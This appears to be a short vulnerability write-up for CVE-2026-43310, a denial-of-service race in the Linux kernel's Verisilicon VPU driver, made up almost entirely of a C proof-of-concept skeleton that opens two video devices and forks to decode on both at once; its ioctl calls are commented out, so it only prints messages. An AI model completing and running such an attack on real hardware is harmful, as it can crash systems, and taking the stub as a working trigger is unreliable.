CVE-2026-43310 Linux内核Verisilicon驱动DoS漏洞

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // Conceptual PoC to trigger the race condition // This code attempts to simulate concurrent decoding on g1 and g2 VPU void trigger_decode(int device_fd) { // Simulate sending a decode command to the VPU // In a real scenario, this involves setting up buffers and calling IOCTLs printf("Triggering decode on fd %d\n", device_fd); // ioctl(device_fd, VIDIOC_QBUF, ...); // ioctl(device_fd, VIDIOC_STREAMON, ...); } int main() { // Assume /dev/video0 is g1 and /dev/video1 is g2 on i.MX8MQ int g1_fd = open("/dev/video0", O_RDWR); int g2_fd = open("/dev/video1", O_RDWR); if (g1_fd < 0 || g2_fd < 0) { perror("Failed to open video devices"); return 1; } printf("Starting concurrent decode attack on VPU...\n"); // Fork to create simultaneous execution if (fork() == 0) { trigger_decode(g1_fd); // Child triggers g1 } else { trigger_decode(g2_fd); // Parent triggers g2 } // Wait for crash or timeout sleep(5); close(g1_fd); close(g2_fd); return 0; }